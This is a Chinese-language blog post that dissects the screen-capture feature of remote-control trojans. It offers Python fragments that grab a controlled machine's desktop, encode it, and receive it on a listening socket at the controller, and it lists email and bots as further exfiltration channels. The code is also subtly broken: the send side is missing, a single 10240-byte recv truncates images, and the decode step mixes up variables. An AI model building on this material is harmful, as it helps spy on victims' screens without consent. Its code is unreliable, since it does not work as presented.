0x01 简述
最近我闲来无事,决定拆分一些常用工具的功能,并用代码实现这些功能。通过这种方法,不仅可以达到自定义功能的效果,而且将工具拆分后,以后对其进行小改动也更加方便。
0x02 拆分远程控制之桌面截图获取
许多远程控制木马都包含了对用户桌面进行截图的功能,以便获取用户界面的情况。桌面截图工具的运行流程通常如下:
- 在受控端进行桌面截图
- 对图片数据进行编码
- 数据传输
- 控制端接收数据
- 控制端解析数据
要用Python实现以上功能,需要使用以下模块:
- socket
- PIL
- cv2
- numpy
- struct
数据传输可以通过以下几种方式进行:
- 使用 socket 进行传输
- 将图片发送至邮箱
- 通过社交机器人接收图片
本文主要讨论的是通过 socket 传输到服务端的代码。
0x03 主要代码
屏幕截取
python复制
from PIL import ImageGrab
screenshot = ImageGrab.grab()
编码部分(将图像转换为可通过 socket 传输的格式)
python复制
import cv2
import numpy as np
img_array = np.asarray(screenshot)
resized_img = cv2.resize(img_array, dsize=(1000, 668))
_, encoded_img = cv2.imencode(".jpg", resized_img)
接收部分
python复制
import socket
socket_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = '0.0.0.0'
port = 4455
socket_server.bind((host, port))
socket_server.listen(5)
clientsocket, addr = socket_server.accept()
received_img = clientsocket.recv(10240)
解码部分
python复制
import cv2
import numpy as np
img_data = clientsocket.recv(10240)
img_decode = np.frombuffer(received_img, dtype=np.uint8)
decoded_img = cv2.imdecode(img_decode, cv2.IMREAD_COLOR)
存储图片
python复制
import cv2
import time
cv2.imwrite(str(time.time()) + ".jpg", cv2.cvtColor(decoded_img, cv2.COLOR_BGR2RGB))
cv2.waitKey(90)
0x04 问题总结
-
为什么要进行编码后再传输? 答:进行两次编码是为了将图像数据转换成 socket 可以传输的格式。
-
cv2.COLOR_BGR2RGB 是什么意思? 答:ImageGrab.grab() 获取的图像是 RGB 格式的,但在后续操作中转换为了 BGR 像素格式的数组,因此在保存图像时需要重新转换为 RGB 格式。
© 版权声明
THE END
暂无评论内容